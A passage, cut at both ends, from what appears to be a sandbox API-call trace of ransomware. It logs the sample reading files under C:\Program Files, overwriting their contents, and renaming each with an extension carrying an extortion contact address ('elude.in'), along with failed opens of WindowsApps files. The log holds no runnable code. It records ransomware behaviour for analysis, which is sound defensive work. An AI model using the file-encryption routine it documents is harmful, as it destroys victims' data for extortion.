lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.308] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style.min.css.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919fa093, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x919fa093, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x380039, dwReserved1=0x340032, cFileName="style.min.css.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STYLEM~1.FIR")) returned 0x6d5540 [0227.308] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0227.308] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style.min.css.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\style.min.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0227.309] GetProcessHeap () returned 0x630000 [0227.309] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a1) returned 0x70f5ae8 [0227.309] GetProcessHeap () returned 0x630000 [0227.309] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a1) returned 0x70f6bf0 [0227.309] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.309] ReadFile (in: hFile=0x640, lpBuffer=0x70f5ae8, nNumberOfBytesToRead=0x1080, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f5ae8*, lpNumberOfBytesRead=0x637ff0c*=0x1080, lpOverlapped=0x0) returned 1 [0229.327] GetProcessHeap () returned 0x630000 [0229.327] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177088 [0229.327] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.327] WriteFile (in: hFile=0x640, lpBuffer=0x70f6bf0*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f6bf0*, lpNumberOfBytesWritten=0x637ff0c*=0x1080, lpOverlapped=0x0) returned 1 [0229.327] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.327] WriteFile (in: hFile=0x640, lpBuffer=0x70f7c6f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f7c6f*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0229.327] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.328] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0229.328] CloseHandle (hObject=0x640) returned 1 [0229.328] GetProcessHeap () returned 0x630000 [0229.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f6bf0 | out: hHeap=0x630000) returned 1 [0229.328] GetProcessHeap () returned 0x630000 [0229.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f5ae8 | out: hHeap=0x630000) returned 1 [0229.328] GetProcessHeap () returned 0x630000 [0229.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177088 | out: hHeap=0x630000) returned 1 [0229.328] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.328] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style.min.css.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919fa093, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x919fa093, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4ea3e477, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10a6, dwReserved0=0x637fd20, dwReserved1=0x70f5ae8, cFileName="style.min.css.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STYLEM~1.FIR")) returned 0x6d5400 [0229.328] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0229.328] Sleep (dwMilliseconds=0x1) [0231.074] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x637ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgrade.xml") returned 1 [0231.074] GetProcessHeap () returned 0x630000 [0231.074] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50c4) returned 0x6fe3bb0 [0231.074] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0234.045] CloseHandle (hObject=0x698) returned 1 [0234.045] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0234.046] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.178] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23d, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5540 [0234.178] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0234.178] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0234.178] GetProcessHeap () returned 0x630000 [0234.178] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0234.178] GetProcessHeap () returned 0x630000 [0234.178] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x699448 [0234.179] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.179] ReadFile (in: hFile=0x698, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x637ff0c*=0x220, lpOverlapped=0x0) returned 1 [0234.182] GetProcessHeap () returned 0x630000 [0234.182] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0234.182] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.182] WriteFile (in: hFile=0x698, lpBuffer=0x699448*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699448*, lpNumberOfBytesWritten=0x637ff0c*=0x220, lpOverlapped=0x0) returned 1 [0234.182] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.182] WriteFile (in: hFile=0x698, lpBuffer=0x699667*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699667*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.182] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.182] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.182] CloseHandle (hObject=0x698) returned 1 [0234.182] GetProcessHeap () returned 0x630000 [0234.182] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699448 | out: hHeap=0x630000) returned 1 [0234.182] GetProcessHeap () returned 0x630000 [0234.182] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0234.182] GetProcessHeap () returned 0x630000 [0234.182] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0235.333] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.333] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5187530e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x261, dwReserved0=0x9187496, dwReserved1=0x717e140, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5240 [0235.333] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0235.333] Sleep (dwMilliseconds=0x1) [0235.398] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\index.html", len=0x6f | out: pbstr=0x637ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\index.html") returned 1 [0235.398] GetProcessHeap () returned 0x630000 [0235.398] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5050) returned 0x6fe3bb0 [0235.398] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0235.399] CloseHandle (hObject=0x4e4) returned 1 [0235.399] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.399] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.400] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d54c0 [0235.400] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0235.400] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0235.400] GetProcessHeap () returned 0x630000 [0235.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x73b2408 [0235.401] GetProcessHeap () returned 0x630000 [0235.401] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x71803a8 [0235.401] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.401] ReadFile (in: hFile=0x4e4, lpBuffer=0x73b2408, nNumberOfBytesToRead=0xa0a0, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b2408*, lpNumberOfBytesRead=0x637ff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0241.659] GetProcessHeap () returned 0x630000 [0241.659] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b928 [0241.659] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.659] WriteFile (in: hFile=0x4e4, lpBuffer=0x71803a8*, nNumberOfBytesToWrite=0xa0a0, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71803a8*, lpNumberOfBytesWritten=0x637ff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0241.660] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.660] WriteFile (in: hFile=0x4e4, lpBuffer=0x718a447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718a447*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0241.660] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.660] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0241.660] CloseHandle (hObject=0x4e4) returned 1 [0241.660] GetProcessHeap () returned 0x630000 [0241.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71803a8 | out: hHeap=0x630000) returned 1 [0241.660] GetProcessHeap () returned 0x630000 [0241.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73b2408 | out: hHeap=0x630000) returned 1 [0241.666] GetProcessHeap () returned 0x630000 [0241.666] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b928 | out: hHeap=0x630000) returned 1 [0241.666] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0241.666] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x55fdc51c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa0cb, dwReserved0=0x9187496, dwReserved1=0x73b2400, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0241.666] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0241.666] Sleep (dwMilliseconds=0x1) [0242.994] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml", len=0x60 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0242.994] GetProcessHeap () returned 0x630000 [0242.994] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5400) returned 0x6fe3bb0 [0242.995] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.996] Sleep (dwMilliseconds=0x1) [0243.004] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_TileMediumSquare.scale-100.png", len=0x93 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_TileMediumSquare.scale-100.png") returned 1 [0243.005] GetProcessHeap () returned 0x630000 [0243.005] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5420) returned 0x6fe3bb0 [0243.005] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_TileMediumSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\money_tilemediumsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.015] Sleep (dwMilliseconds=0x1) [0243.020] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\WorldMarketMajorInfo.json", len=0x77 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\WorldMarketMajorInfo.json") returned 1 [0243.020] GetProcessHeap () returned 0x630000 [0243.020] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5498) returned 0x6fe3bb0 [0243.020] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\WorldMarketMajorInfo.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\worldmarketmajorinfo.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.024] Sleep (dwMilliseconds=0x1) [0243.034] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd", len=0x74 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd") returned 1 [0243.034] GetProcessHeap () returned 0x630000 [0243.034] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x549c) returned 0x6fe3bb0 [0243.034] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.aria.clienttelemetry.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.040] Sleep (dwMilliseconds=0x1) [0243.049] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\MarketsInfo.json", len=0x6e | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\MarketsInfo.json") returned 1 [0243.049] GetProcessHeap () returned 0x630000 [0243.049] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x548c) returned 0x6fe3bb0 [0243.051] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\MarketsInfo.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\marketsinfo.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.054] Sleep (dwMilliseconds=0x1) [0243.068] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileMediumSquare.scale-100.png", len=0x84 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileMediumSquare.scale-100.png") returned 1 [0243.068] GetProcessHeap () returned 0x630000 [0243.068] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5460) returned 0x6fe3bb0 [0243.068] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileMediumSquare.scale-100.png" (normalized: "c:\\program 